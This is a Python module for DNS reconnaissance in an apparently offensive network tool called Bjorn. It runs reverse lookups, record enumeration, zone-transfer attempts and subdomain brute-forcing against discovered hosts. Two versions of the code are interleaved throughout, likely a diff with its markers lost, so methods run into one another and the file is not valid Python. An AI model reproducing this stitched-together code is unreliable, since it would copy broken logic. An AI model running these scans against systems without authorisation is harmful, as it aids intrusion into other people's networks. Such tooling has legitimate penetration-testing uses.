# -o, --output Output directory (default: /home/bjorn/Bjorn/data/output/dns).
|
||||
# -t, --threads Number of threads for scanning (default: 10).
|
||||
# -r, --recursive Enable recursive enumeration of discovered subdomains.
|
||||
"""
|
||||
dns_pillager.py - DNS reconnaissance and enumeration action for Bjorn.
|
||||
|
||||
Performs comprehensive DNS intelligence gathering on discovered hosts:
|
||||
- Reverse DNS lookup on target IP
|
||||
- Full DNS record enumeration (A, AAAA, MX, NS, TXT, CNAME, SOA, SRV, PTR)
|
||||
- Zone transfer (AXFR) attempts against discovered nameservers
|
||||
- Subdomain brute-force enumeration with threading
|
||||
|
||||
SQL mode:
|
||||
- Targets provided by the orchestrator (ip + port)
|
||||
- IP -> (MAC, hostname) mapping read from DB 'hosts'
|
||||
- Discovered hostnames are written back to DB hosts table
|
||||
- Results saved as JSON in data/output/dns/
|
||||
- Action status recorded in DB.action_results (via DNSPillager.execute)
|
||||
"""
|
||||
|
||||
import os
|
||||
import json
|
||||
import dns.resolver
|
||||
import threading
|
||||
import argparse
|
||||
from concurrent.futures import ThreadPoolExecutor
|
||||
from datetime import datetime
|
||||
import socket
|
||||
import logging
|
||||
import threading
|
||||
import time
|
||||
import datetime
|
||||
|
||||
from typing import Dict, List, Optional, Tuple, Set
|
||||
from concurrent.futures import ThreadPoolExecutor, as_completed
|
||||
|
||||
# Configure logging
|
||||
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
|
||||
from shared import SharedData
|
||||
from logger import Logger
|
||||
|
||||
# Configure the logger
|
||||
logger = Logger(name="dns_pillager.py", level=logging.DEBUG)
|
||||
|
||||
b_class = "DNSPillager"
|
||||
b_module = "dns_pillager"
|
||||
b_enabled = 0
|
||||
# ---------------------------------------------------------------------------
|
||||
# Graceful import for dnspython (socket fallback if unavailable)
|
||||
# ---------------------------------------------------------------------------
|
||||
_HAS_DNSPYTHON = False
|
||||
try:
|
||||
import dns.resolver
|
||||
import dns.zone
|
||||
import dns.query
|
||||
import dns.reversename
|
||||
import dns.rdatatype
|
||||
import dns.exception
|
||||
_HAS_DNSPYTHON = True
|
||||
logger.info("dnspython library loaded successfully.")
|
||||
except ImportError:
|
||||
logger.warning(
|
||||
"dnspython not installed. DNS operations will use socket fallback "
|
||||
"(limited functionality). Install with: pip install dnspython"
|
||||
)
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Action metadata (AST-friendly, consumed by sync_actions / orchestrator)
|
||||
# ---------------------------------------------------------------------------
|
||||
b_class = "DNSPillager"
|
||||
b_module = "dns_pillager"
|
||||
b_status = "dns_pillager"
|
||||
b_port = 53
|
||||
b_service = '["dns"]'
|
||||
b_trigger = 'on_any:["on_host_alive","on_new_port:53"]'
|
||||
b_parent = None
|
||||
b_action = "normal"
|
||||
b_requires = '{"action":"NetworkScanner","status":"success","scope":"global"}'
|
||||
b_priority = 20
|
||||
b_cooldown = 7200
|
||||
b_rate_limit = "5/86400"
|
||||
b_timeout = 300
|
||||
b_max_retries = 2
|
||||
b_stealth_level = 7
|
||||
b_risk_level = "low"
|
||||
b_enabled = 1
|
||||
b_tags = ["dns", "recon", "enumeration"]
|
||||
|
||||
b_category = "recon"
|
||||
b_name = "DNS Pillager"
|
||||
b_description = (
|
||||
"Comprehensive DNS reconnaissance and enumeration action. "
|
||||
"Performs reverse DNS, record enumeration (A/AAAA/MX/NS/TXT/CNAME/SOA/SRV/PTR), "
|
||||
"zone transfer attempts, and subdomain brute-force discovery. "
|
||||
"Requires: dnspython (pip install dnspython) for full functionality; "
|
||||
"falls back to socket-based lookups if unavailable."
|
||||
)
|
||||
b_author = "Bjorn Team"
|
||||
b_version = "2.0.0"
|
||||
b_icon = "DNSPillager.png"
|
||||
|
||||
b_args = {
|
||||
"threads": {
|
||||
"type": "number",
|
||||
"label": "Subdomain Threads",
|
||||
"min": 1,
|
||||
"max": 50,
|
||||
"step": 1,
|
||||
"default": 10,
|
||||
"help": "Number of threads for subdomain brute-force enumeration."
|
||||
},
|
||||
"wordlist": {
|
||||
"type": "text",
|
||||
"label": "Subdomain Wordlist",
|
||||
"default": "",
|
||||
"placeholder": "/path/to/wordlist.txt",
|
||||
"help": "Path to a custom subdomain wordlist file. Leave empty for built-in list (~100 entries)."
|
||||
},
|
||||
"timeout": {
|
||||
"type": "number",
|
||||
"label": "DNS Query Timeout (s)",
|
||||
"min": 1,
|
||||
"max": 30,
|
||||
"step": 1,
|
||||
"default": 3,
|
||||
"help": "Timeout in seconds for individual DNS queries."
|
||||
},
|
||||
"enable_axfr": {
|
||||
"type": "checkbox",
|
||||
"label": "Attempt Zone Transfer (AXFR)",
|
||||
"default": True,
|
||||
"help": "Try AXFR zone transfers against discovered nameservers."
|
||||
},
|
||||
"enable_subdomains": {
|
||||
"type": "checkbox",
|
||||
"label": "Enable Subdomain Brute-Force",
|
||||
"default": True,
|
||||
"help": "Enumerate subdomains using wordlist."
|
||||
},
|
||||
}
|
||||
|
||||
b_examples = [
|
||||
{"threads": 10, "wordlist": "", "timeout": 3, "enable_axfr": True, "enable_subdomains": True},
|
||||
{"threads": 5, "wordlist": "/home/bjorn/wordlists/subdomains.txt", "timeout": 5, "enable_axfr": False, "enable_subdomains": True},
|
||||
]
|
||||
|
||||
b_docs_url = "docs/actions/DNSPillager.md"
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Data directories
|
||||
# ---------------------------------------------------------------------------
|
||||
_DATA_DIR = os.path.join(os.path.dirname(os.path.dirname(os.path.abspath(__file__))), "data")
|
||||
OUTPUT_DIR = os.path.join(_DATA_DIR, "output", "dns")
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Built-in subdomain wordlist (~100 common entries)
|
||||
# ---------------------------------------------------------------------------
|
||||
BUILTIN_SUBDOMAINS = [
|
||||
"www", "mail", "ftp", "localhost", "webmail", "smtp", "pop", "ns1", "ns2",
|
||||
"ns3", "ns4", "dns", "dns1", "dns2", "mx", "mx1", "mx2", "imap", "pop3",
|
||||
"blog", "dev", "staging", "test", "testing", "beta", "alpha", "demo",
|
||||
"admin", "administrator", "panel", "cpanel", "webmin", "portal",
|
||||
"api", "api2", "api3", "gateway", "gw", "proxy", "cdn", "media",
|
||||
"static", "assets", "img", "images", "files", "download", "upload",
|
||||
"vpn", "remote", "ssh", "rdp", "citrix", "owa", "exchange",
|
||||
"db", "database", "mysql", "postgres", "sql", "mongodb", "redis", "elastic",
|
||||
"shop", "store", "app", "apps", "mobile", "m",
|
||||
"intranet", "extranet", "internal", "external", "private", "public",
|
||||
"cloud", "aws", "azure", "gcp", "s3", "storage",
|
||||
"git", "gitlab", "github", "svn", "repo", "ci", "cd", "jenkins", "build",
|
||||
"monitor", "monitoring", "grafana", "prometheus", "kibana", "nagios", "zabbix",
|
||||
"log", "logs", "syslog", "elk",
|
||||
"chat", "slack", "teams", "jira", "confluence", "wiki",
|
||||
"backup", "backups", "bak", "archive",
|
||||
"secure", "security", "sso", "auth", "login", "oauth",
|
||||
"docs", "doc", "help", "support", "kb", "status",
|
||||
"calendar", "crm", "erp", "hr",
|
||||
"web", "web1", "web2", "server", "server1", "server2",
|
||||
"host", "node", "worker", "master",
|
||||
]
|
||||
|
||||
# DNS record types to enumerate
|
||||
DNS_RECORD_TYPES = ["A", "AAAA", "MX", "NS", "TXT", "CNAME", "SOA", "SRV", "PTR"]
|
||||
|
||||
# Default settings
|
||||
DEFAULT_OUTPUT_DIR = "/home/bjorn/Bjorn/data/output/dns"
|
||||
DEFAULT_SETTINGS_DIR = "/home/bjorn/.settings_bjorn"
|
||||
SETTINGS_FILE = os.path.join(DEFAULT_SETTINGS_DIR, "dns_pillager_settings.json")
|
||||
DEFAULT_RECORD_TYPES = ['A', 'AAAA', 'MX', 'NS', 'TXT', 'CNAME', 'SOA']
|
||||
|
||||
class DNSPillager:
|
||||
def __init__(self, domain, wordlist=None, output_dir=DEFAULT_OUTPUT_DIR, threads=10, recursive=False):
|
||||
self.domain = domain
|
||||
self.wordlist = wordlist
|
||||
self.output_dir = output_dir
|
||||
self.threads = threads
|
||||
self.recursive = recursive
|
||||
self.discovered_domains = set()
|
||||
self.lock = threading.Lock()
|
||||
self.resolver = dns.resolver.Resolver()
|
||||
self.resolver.timeout = 1
|
||||
self.resolver.lifetime = 1
|
||||
"""
|
||||
DNS reconnaissance action for the Bjorn orchestrator.
|
||||
Performs reverse DNS, record enumeration, zone transfer attempts,
|
||||
and subdomain brute-force discovery.
|
||||
"""
|
||||
|
||||
def save_results(self, results):
|
||||
"""Save enumeration results to a JSON file."""
|
||||
def __init__(self, shared_data: SharedData):
|
||||
self.shared_data = shared_data
|
||||
|
||||
# IP -> (MAC, hostname) identity cache from DB
|
||||
self._ip_to_identity: Dict[str, Tuple[Optional[str], Optional[str]]] = {}
|
||||
self._refresh_ip_identity_cache()
|
||||
|
||||
# DNS resolver setup (dnspython)
|
||||
self._resolver = None
|
||||
if _HAS_DNSPYTHON:
|
||||
self._resolver = dns.resolver.Resolver()
|
||||
self._resolver.timeout = 3
|
||||
self._resolver.lifetime = 5
|
||||
|
||||
# Ensure output directory exists
|
||||
try:
|
||||
os.makedirs(self.output_dir, exist_ok=True)
|
||||
timestamp = datetime.now().strftime("%Y-%m-%d_%H-%M-%S")
|
||||
filename = os.path.join(self.output_dir, f"dns_enum_{timestamp}.json")
|
||||
|
||||
with open(filename, 'w') as f:
|
||||
json.dump(results, f, indent=4)
|
||||
logging.info(f"Results saved to {filename}")
|
||||
os.makedirs(OUTPUT_DIR, exist_ok=True)
|
||||
except Exception as e:
|
||||
logging.error(f"Failed to save results: {e}")
|
||||
logger.error(f"Failed to create output directory {OUTPUT_DIR}: {e}")
|
||||
|
||||
def query_domain(self, domain, record_type):
|
||||
"""Query a domain for specific DNS record type."""
|
||||
# Thread safety
|
||||
self._lock = threading.Lock()
|
||||
|
||||
logger.info("DNSPillager initialized (dnspython=%s)", _HAS_DNSPYTHON)
|
||||
|
||||
# --------------------- Identity cache (hosts) ---------------------
|
||||
|
||||
def _refresh_ip_identity_cache(self) -> None:
|
||||
"""Rebuild IP -> (MAC, current_hostname) from DB.hosts."""
|
||||
self._ip_to_identity.clear()
|
||||
try:
|
||||
answers = self.resolver.resolve(domain, record_type)
|
||||
return [str(answer) for answer in answers]
|
||||
except:
|
||||
rows = self.shared_data.db.get_all_hosts()
|
||||
except Exception as e:
|
||||
logger.error(f"DB get_all_hosts failed: {e}")
|
||||
rows = []
|
||||
|
||||
for r in rows:
|
||||
mac = r.get("mac_address") or ""
|
||||
if not mac:
|
||||
continue
|
||||
hostnames_txt = r.get("hostnames") or ""
|
||||
current_hn = hostnames_txt.split(';', 1)[0] if hostnames_txt else ""
|
||||
ips_txt = r.get("ips") or ""
|
||||
if not ips_txt:
|
||||
continue
|
||||
for ip_addr in [p.strip() for p in ips_txt.split(';') if p.strip()]:
|
||||
self._ip_to_identity[ip_addr] = (mac, current_hn)
|
||||
|
||||
def _mac_for_ip(self, ip: str) -> Optional[str]:
|
||||
if ip not in self._ip_to_identity:
|
||||
self._refresh_ip_identity_cache()
|
||||
return self._ip_to_identity.get(ip, (None, None))[0]
|
||||
|
||||
def _hostname_for_ip(self, ip: str) -> Optional[str]:
|
||||
if ip not in self._ip_to_identity:
|
||||
self._refresh_ip_identity_cache()
|
||||
return self._ip_to_identity.get(ip, (None, None))[1]
|
||||
|
||||
# --------------------- Public API (Orchestrator) ---------------------
|
||||
|
||||
def execute(self, ip: str, port: str, row: Dict, status_key: str) -> str:
|
||||
"""
|
||||
Execute DNS reconnaissance on the given target.
|
||||
|
||||
Args:
|
||||
ip: Target IP address
|
||||
port: Target port (typically 53)
|
||||
row: Row dict from orchestrator (contains MAC, hostname, etc.)
|
||||
status_key: Status tracking key
|
||||
|
||||
Returns:
|
||||
'success' | 'failed' | 'interrupted'
|
||||
"""
|
||||
self.shared_data.bjorn_orch_status = "DNSPillager"
|
||||
self.shared_data.bjorn_progress = "0%"
|
||||
self.shared_data.comment_params = {"ip": ip, "port": str(port), "phase": "init"}
|
||||
|
||||
results = {
|
||||
"target_ip": ip,
|
||||
"port": str(port),
|
||||
"timestamp": datetime.datetime.now().isoformat(),
|
||||
"reverse_dns": None,
|
||||
"domain": None,
|
||||
"records": {},
|
||||
"zone_transfer": {},
|
||||
"subdomains": [],
|
||||
"errors": [],
|
||||
}
|
||||
|
||||
try:
|
||||
# --- Check for early exit ---
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
logger.info("Orchestrator exit signal before start.")
|
||||
return "interrupted"
|
||||
|
||||
mac = row.get("MAC Address") or row.get("mac_address") or self._mac_for_ip(ip) or ""
|
||||
hostname = (
|
||||
row.get("Hostname") or row.get("hostname")
|
||||
or self._hostname_for_ip(ip)
|
||||
or ""
|
||||
)
|
||||
|
||||
# =========================================================
|
||||
# Phase 1: Reverse DNS lookup (0% -> 10%)
|
||||
# =========================================================
|
||||
self.shared_data.comment_params = {"ip": ip, "phase": "reverse_dns"}
|
||||
logger.info(f"[{ip}] Phase 1: Reverse DNS lookup")
|
||||
|
||||
reverse_hostname = self._reverse_dns(ip)
|
||||
if reverse_hostname:
|
||||
results["reverse_dns"] = reverse_hostname
|
||||
logger.info(f"[{ip}] Reverse DNS: {reverse_hostname}")
|
||||
self.shared_data.log_milestone(b_class, "ReverseDNS", f"IP: {ip} -> {reverse_hostname}")
|
||||
# Update hostname if we found something new
|
||||
if not hostname or hostname == ip:
|
||||
hostname = reverse_hostname
|
||||
else:
|
||||
logger.info(f"[{ip}] No reverse DNS result.")
|
||||
|
||||
self.shared_data.bjorn_progress = "10%"
|
||||
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
return "interrupted"
|
||||
|
||||
# =========================================================
|
||||
# Phase 2: Extract domain and enumerate DNS records (10% -> 35%)
|
||||
# =========================================================
|
||||
domain = self._extract_domain(hostname)
|
||||
results["domain"] = domain
|
||||
|
||||
if domain:
|
||||
self.shared_data.comment_params = {"ip": ip, "phase": "records", "domain": domain}
|
||||
logger.info(f"[{ip}] Phase 2: DNS record enumeration for {domain}")
|
||||
self.shared_data.log_milestone(b_class, "EnumerateRecords", f"Domain: {domain}")
|
||||
|
||||
record_results = {}
|
||||
total_types = len(DNS_RECORD_TYPES)
|
||||
for idx, rtype in enumerate(DNS_RECORD_TYPES):
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
return "interrupted"
|
||||
|
||||
records = self._query_records(domain, rtype)
|
||||
if records:
|
||||
record_results[rtype] = records
|
||||
logger.info(f"[{ip}] {rtype} records for {domain}: {records}")
|
||||
|
||||
# Progress: 10% -> 35% across record types
|
||||
pct = 10 + int((idx + 1) / total_types * 25)
|
||||
self.shared_data.bjorn_progress = f"{pct}%"
|
||||
|
||||
results["records"] = record_results
|
||||
else:
|
||||
logger.warning(f"[{ip}] No domain could be extracted. Skipping record enumeration.")
|
||||
self.shared_data.bjorn_progress = "35%"
|
||||
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
return "interrupted"
|
||||
|
||||
# =========================================================
|
||||
# Phase 3: Zone transfer (AXFR) attempt (35% -> 45%)
|
||||
# =========================================================
|
||||
self.shared_data.bjorn_progress = "35%"
|
||||
self.shared_data.comment_params = {"ip": ip, "phase": "zone_transfer", "domain": domain or ip}
|
||||
|
||||
if domain and _HAS_DNSPYTHON:
|
||||
logger.info(f"[{ip}] Phase 3: Zone transfer attempt for {domain}")
|
||||
nameservers = results["records"].get("NS", [])
|
||||
# Also try the target IP itself as a nameserver
|
||||
ns_targets = list(set(nameservers + [ip]))
|
||||
zone_results = {}
|
||||
|
||||
for ns_idx, ns in enumerate(ns_targets):
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
return "interrupted"
|
||||
|
||||
axfr_records = self._attempt_zone_transfer(domain, ns)
|
||||
if axfr_records:
|
||||
zone_results[ns] = axfr_records
|
||||
logger.success(f"[{ip}] Zone transfer SUCCESS from {ns}: {len(axfr_records)} records")
|
||||
self.shared_data.log_milestone(b_class, "AXFRSuccess", f"NS: {ns} | Records: {len(axfr_records)}")
|
||||
|
||||
# Progress within 35% -> 45%
|
||||
if ns_targets:
|
||||
pct = 35 + int((ns_idx + 1) / len(ns_targets) * 10)
|
||||
self.shared_data.bjorn_progress = f"{pct}%"
|
||||
|
||||
results["zone_transfer"] = zone_results
|
||||
else:
|
||||
if not _HAS_DNSPYTHON:
|
||||
results["errors"].append("Zone transfer skipped: dnspython not available")
|
||||
elif not domain:
|
||||
results["errors"].append("Zone transfer skipped: no domain found")
|
||||
logger.info(f"[{ip}] Skipping zone transfer (dnspython={_HAS_DNSPYTHON}, domain={domain})")
|
||||
|
||||
self.shared_data.bjorn_progress = "45%"
|
||||
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
return "interrupted"
|
||||
|
||||
# =========================================================
|
||||
# Phase 4: Subdomain brute-force (45% -> 95%)
|
||||
# =========================================================
|
||||
self.shared_data.comment_params = {"ip": ip, "phase": "subdomains", "domain": domain or ip}
|
||||
|
||||
if domain:
|
||||
logger.info(f"[{ip}] Phase 4: Subdomain brute-force for {domain}")
|
||||
self.shared_data.log_milestone(b_class, "SubdomainEnum", f"Domain: {domain}")
|
||||
wordlist = self._load_wordlist()
|
||||
thread_count = min(10, max(1, len(wordlist)))
|
||||
|
||||
discovered = self._enumerate_subdomains(domain, wordlist, thread_count)
|
||||
results["subdomains"] = discovered
|
||||
logger.info(f"[{ip}] Subdomain enumeration found {len(discovered)} live subdomains")
|
||||
else:
|
||||
logger.info(f"[{ip}] Skipping subdomain enumeration: no domain available")
|
||||
results["errors"].append("Subdomain enumeration skipped: no domain found")
|
||||
|
||||
self.shared_data.bjorn_progress = "95%"
|
||||
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
return "interrupted"
|
||||
|
||||
# =========================================================
|
||||
# Phase 5: Save results and update DB (95% -> 100%)
|
||||
# =========================================================
|
||||
self.shared_data.comment_params = {"ip": ip, "phase": "saving"}
|
||||
logger.info(f"[{ip}] Phase 5: Saving results")
|
||||
|
||||
# Save JSON output
|
||||
self._save_results(ip, results)
|
||||
|
||||
# Update DB hostname if reverse DNS discovered new data
|
||||
if reverse_hostname and mac:
|
||||
self._update_db_hostname(mac, ip, reverse_hostname)
|
||||
|
||||
self.shared_data.bjorn_progress = "100%"
|
||||
self.shared_data.log_milestone(b_class, "Complete", f"Records: {sum(len(v) for v in results['records'].values())} | Subdomains: {len(results['subdomains'])}")
|
||||
|
||||
# Summary comment
|
||||
record_count = sum(len(v) for v in results["records"].values())
|
||||
zone_count = sum(len(v) for v in results["zone_transfer"].values())
|
||||
sub_count = len(results["subdomains"])
|
||||
self.shared_data.comment_params = {
|
||||
"ip": ip,
|
||||
"domain": domain or "N/A",
|
||||
"records": str(record_count),
|
||||
"zones": str(zone_count),
|
||||
"subdomains": str(sub_count),
|
||||
}
|
||||
|
||||
logger.success(
|
||||
f"[{ip}] DNS Pillager complete: domain={domain}, "
|
||||
f"records={record_count}, zone_transfers={zone_count}, subdomains={sub_count}"
|
||||
)
|
||||
return "success"
|
||||
|
||||
except Exception as e:
|
||||
logger.error(f"[{ip}] DNSPillager execute failed: {e}")
|
||||
results["errors"].append(str(e))
|
||||
# Still try to save partial results
|
||||
try:
|
||||
self._save_results(ip, results)
|
||||
except Exception:
|
||||
pass
|
||||
return "failed"
|
||||
|
||||
finally:
|
||||
self.shared_data.bjorn_progress = ""
|
||||
|
||||
# --------------------- Reverse DNS ---------------------
|
||||
|
||||
def _reverse_dns(self, ip: str) -> Optional[str]:
|
||||
"""Perform reverse DNS lookup on the IP address."""
|
||||
# Try dnspython first
|
||||
if _HAS_DNSPYTHON and self._resolver:
|
||||
try:
|
||||
rev_name = dns.reversename.from_address(ip)
|
||||
answers = self._resolver.resolve(rev_name, "PTR")
|
||||
for rdata in answers:
|
||||
hostname = str(rdata).rstrip(".")
|
||||
if hostname:
|
||||
return hostname
|
||||
except Exception as e:
|
||||
logger.debug(f"dnspython reverse DNS failed for {ip}: {e}")
|
||||
|
||||
# Socket fallback
|
||||
try:
|
||||
hostname, _, _ = socket.gethostbyaddr(ip)
|
||||
if hostname and hostname != ip:
|
||||
return hostname
|
||||
except (socket.herror, socket.gaierror, OSError) as e:
|
||||
logger.debug(f"Socket reverse DNS failed for {ip}: {e}")
|
||||
|
||||
return None
|
||||
|
||||
# --------------------- Domain extraction ---------------------
|
||||
|
||||
@staticmethod
|
||||
def _extract_domain(hostname: str) -> Optional[str]:
|
||||
"""
|
||||
Extract the registerable domain from a hostname.
|
||||
e.g., 'mail.sub.example.com' -> 'example.com'
|
||||
'host1.internal.lan' -> 'internal.lan'
|
||||
'192.168.1.1' -> None
|
||||
"""
|
||||
if not hostname:
|
||||
return None
|
||||
|
||||
# Skip raw IPs
|
||||
hostname = hostname.strip().rstrip(".")
|
||||
parts = hostname.split(".")
|
||||
if len(parts) < 2:
|
||||
return None
|
||||
|
||||
# Check if it looks like an IP address
|
||||
try:
|
||||
socket.inet_aton(hostname)
|
||||
return None # It's an IP, not a hostname
|
||||
except (socket.error, OSError):
|
||||
pass
|
||||
|
||||
# For simple TLDs, take the last 2 parts
|
||||
# For compound TLDs (co.uk, com.au), take the last 3 parts
|
||||
compound_tlds = {
|
||||
"co.uk", "co.jp", "co.kr", "co.nz", "co.za", "co.in",
|
||||
"com.au", "com.br", "com.cn", "com.mx", "com.tw",
|
||||
"org.uk", "net.au", "ac.uk", "gov.uk",
|
||||
}
|
||||
if len(parts) >= 3:
|
||||
possible_compound = f"{parts[-2]}.{parts[-1]}"
|
||||
if possible_compound.lower() in compound_tlds:
|
||||
return ".".join(parts[-3:])
|
||||
|
||||
return ".".join(parts[-2:])
|
||||
|
||||
# --------------------- DNS record queries ---------------------
|
||||
|
||||
def _query_records(self, domain: str, record_type: str) -> List[str]:
|
||||
"""Query DNS records of a given type for a domain."""
|
||||
records = []
|
||||
|
||||
# Try dnspython first
|
||||
if _HAS_DNSPYTHON and self._resolver:
|
||||
try:
|
||||
answers = self._resolver.resolve(domain, record_type)
|
||||
for rdata in answers:
|
||||
value = str(rdata).rstrip(".")
|
||||
if value:
|
||||
records.append(value)
|
||||
return records
|
||||
except dns.resolver.NXDOMAIN:
|
||||
logger.debug(f"NXDOMAIN for {domain} {record_type}")
|
||||
except dns.resolver.NoAnswer:
|
||||
logger.debug(f"No answer for {domain} {record_type}")
|
||||
except dns.resolver.NoNameservers:
|
||||
logger.debug(f"No nameservers for {domain} {record_type}")
|
||||
except dns.exception.Timeout:
|
||||
logger.debug(f"Timeout querying {domain} {record_type}")
|
||||
except Exception as e:
|
||||
logger.debug(f"dnspython query failed for {domain} {record_type}: {e}")
|
||||
|
||||
# Socket fallback (limited to A records only)
|
||||
if record_type == "A" and not records:
|
||||
try:
|
||||
ips = socket.getaddrinfo(domain, None, socket.AF_INET, socket.SOCK_STREAM)
|
||||
for info in ips:
|
||||
addr = info[4][0]
|
||||
if addr and addr not in records:
|
||||
records.append(addr)
|
||||
except (socket.gaierror, OSError) as e:
|
||||
logger.debug(f"Socket fallback failed for {domain} A: {e}")
|
||||
|
||||
# Socket fallback for AAAA
|
||||
if record_type == "AAAA" and not records:
|
||||
try:
|
||||
ips = socket.getaddrinfo(domain, None, socket.AF_INET6, socket.SOCK_STREAM)
|
||||
for info in ips:
|
||||
addr = info[4][0]
|
||||
if addr and addr not in records:
|
||||
records.append(addr)
|
||||
except (socket.gaierror, OSError) as e:
|
||||
logger.debug(f"Socket fallback failed for {domain} AAAA: {e}")
|
||||
|
||||
return records
|
||||
|
||||
# --------------------- Zone transfer (AXFR) ---------------------
|
||||
|
||||
def _attempt_zone_transfer(self, domain: str, nameserver: str) -> List[Dict]:
|
||||
"""
|
||||
Attempt an AXFR zone transfer from a nameserver.
|
||||
Returns a list of record dicts on success, empty list on failure.
|
||||
"""
|
||||
if not _HAS_DNSPYTHON:
|
||||
return []
|
||||
|
||||
def enumerate_domain(self, subdomain):
|
||||
"""Enumerate a single subdomain for all record types."""
|
||||
full_domain = f"{subdomain}.{self.domain}" if subdomain else self.domain
|
||||
results = {'domain': full_domain, 'records': {}}
|
||||
records = []
|
||||
# Resolve NS hostname to IP if needed
|
||||
ns_ip = self._resolve_ns_to_ip(nameserver)
|
||||
if not ns_ip:
|
||||
logger.debug(f"Cannot resolve NS {nameserver} to IP, skipping AXFR")
|
||||
return []
|
||||
|
||||
for record_type in DEFAULT_RECORD_TYPES:
|
||||
records = self.query_domain(full_domain, record_type)
|
||||
if records:
|
||||
results['records'][record_type] = records
|
||||
with self.lock:
|
||||
self.discovered_domains.add(full_domain)
|
||||
logging.info(f"Found {record_type} records for {full_domain}")
|
||||
|
||||
return results if results['records'] else None
|
||||
|
||||
def load_wordlist(self):
|
||||
"""Load subdomain wordlist or use built-in list."""
|
||||
if self.wordlist and os.path.exists(self.wordlist):
|
||||
with open(self.wordlist, 'r') as f:
|
||||
return [line.strip() for line in f if line.strip()]
|
||||
return ['www', 'mail', 'remote', 'blog', 'webmail', 'server', 'ns1', 'ns2', 'smtp', 'secure']
|
||||
|
||||
def execute(self):
|
||||
"""Execute the DNS enumeration process."""
|
||||
results = {'timestamp': datetime.now().isoformat(), 'findings': []}
|
||||
subdomains = self.load_wordlist()
|
||||
|
||||
logging.info(f"Starting DNS enumeration for {self.domain}")
|
||||
|
||||
with ThreadPoolExecutor(max_workers=self.threads) as executor:
|
||||
enum_results = list(filter(None, executor.map(self.enumerate_domain, subdomains)))
|
||||
results['findings'].extend(enum_results)
|
||||
|
||||
if self.recursive and self.discovered_domains:
|
||||
logging.info("Starting recursive enumeration")
|
||||
new_domains = set()
|
||||
for domain in self.discovered_domains:
|
||||
if domain != self.domain:
|
||||
new_subdomains = [d.split('.')[0] for d in domain.split('.')[:-2]]
|
||||
new_domains.update(new_subdomains)
|
||||
|
||||
if new_domains:
|
||||
enum_results = list(filter(None, executor.map(self.enumerate_domain, new_domains)))
|
||||
results['findings'].extend(enum_results)
|
||||
|
||||
self.save_results(results)
|
||||
return results
|
||||
|
||||
def save_settings(domain, wordlist, output_dir, threads, recursive):
|
||||
"""Save settings to JSON file."""
|
||||
try:
|
||||
os.makedirs(DEFAULT_SETTINGS_DIR, exist_ok=True)
|
||||
settings = {
|
||||
"domain": domain,
|
||||
"wordlist": wordlist,
|
||||
"output_dir": output_dir,
|
||||
"threads": threads,
|
||||
"recursive": recursive
|
||||
}
|
||||
with open(SETTINGS_FILE, 'w') as f:
|
||||
json.dump(settings, f)
|
||||
logging.info(f"Settings saved to {SETTINGS_FILE}")
|
||||
except Exception as e:
|
||||
logging.error(f"Failed to save settings: {e}")
|
||||
|
||||
def load_settings():
|
||||
"""Load settings from JSON file."""
|
||||
if os.path.exists(SETTINGS_FILE):
|
||||
try:
|
||||
with open(SETTINGS_FILE, 'r') as f:
|
||||
return json.load(f)
|
||||
zone = dns.zone.from_xfr(
|
||||
dns.query.xfr(ns_ip, domain, timeout=10, lifetime=30)
|
||||
)
|
||||
for name, node in zone.nodes.items():
|
||||
for rdataset in node.rdatasets:
|
||||
for rdata in rdataset:
|
||||
records.append({
|
||||
"name": str(name),
|
||||
"type": dns.rdatatype.to_text(rdataset.rdtype),
|
||||
"ttl": rdataset.ttl,
|
||||
"value": str(rdata),
|
||||
})
|
||||
except dns.exception.FormError:
|
||||
logger.debug(f"AXFR refused by {nameserver} ({ns_ip}) for {domain}")
|
||||
except dns.exception.Timeout:
|
||||
logger.debug(f"AXFR timeout from {nameserver} ({ns_ip}) for {domain}")
|
||||
except ConnectionError as e:
|
||||
logger.debug(f"AXFR connection error from {nameserver}: {e}")
|
||||
except OSError as e:
|
||||
logger.debug(f"AXFR OS error from {nameserver}: {e}")
|
||||
except Exception as e:
|
||||
logging.error(f"Failed to load settings: {e}")
|
||||
return {}
|
||||
logger.debug(f"AXFR failed from {nameserver} ({ns_ip}) for {domain}: {e}")
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="DNS Pillager for domain reconnaissance")
|
||||
parser.add_argument("-d", "--domain", help="Target domain for enumeration")
|
||||
parser.add_argument("-w", "--wordlist", help="Path to subdomain wordlist")
|
||||
parser.add_argument("-o", "--output", default=DEFAULT_OUTPUT_DIR, help="Output directory for results")
|
||||
parser.add_argument("-t", "--threads", type=int, default=10, help="Number of threads")
|
||||
parser.add_argument("-r", "--recursive", action="store_true", help="Enable recursive enumeration")
|
||||
args = parser.parse_args()
|
||||
return records
|
||||
|
||||
settings = load_settings()
|
||||
domain = args.domain or settings.get("domain")
|
||||
wordlist = args.wordlist or settings.get("wordlist")
|
||||
output_dir = args.output or settings.get("output_dir")
|
||||
threads = args.threads or settings.get("threads")
|
||||
recursive = args.recursive or settings.get("recursive")
|
||||
def _resolve_ns_to_ip(self, nameserver: str) -> Optional[str]:
|
||||
"""Resolve a nameserver hostname to an IP address."""
|
||||
ns = nameserver.strip().rstrip(".")
|
||||
|
||||
if not domain:
|
||||
logging.error("Domain is required. Use -d or save it in settings")
|
||||
return
|
||||
# Check if already an IP
|
||||
try:
|
||||
socket.inet_aton(ns)
|
||||
return ns
|
||||
except (socket.error, OSError):
|
||||
pass
|
||||
|
||||
save_settings(domain, wordlist, output_dir, threads, recursive)
|
||||
# Try to resolve
|
||||
if _HAS_DNSPYTHON and self._resolver:
|
||||
try:
|
||||
answers = self._resolver.resolve(ns, "A")
|
||||
for rdata in answers:
|
||||
return str(rdata)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
pillager = DNSPillager(
|
||||
domain=domain,
|
||||
wordlist=wordlist,
|
||||
output_dir=output_dir,
|
||||
threads=threads,
|
||||
recursive=recursive
|
||||
)
|
||||
pillager.execute()
|
||||
# Socket fallback
|
||||
try:
|
||||
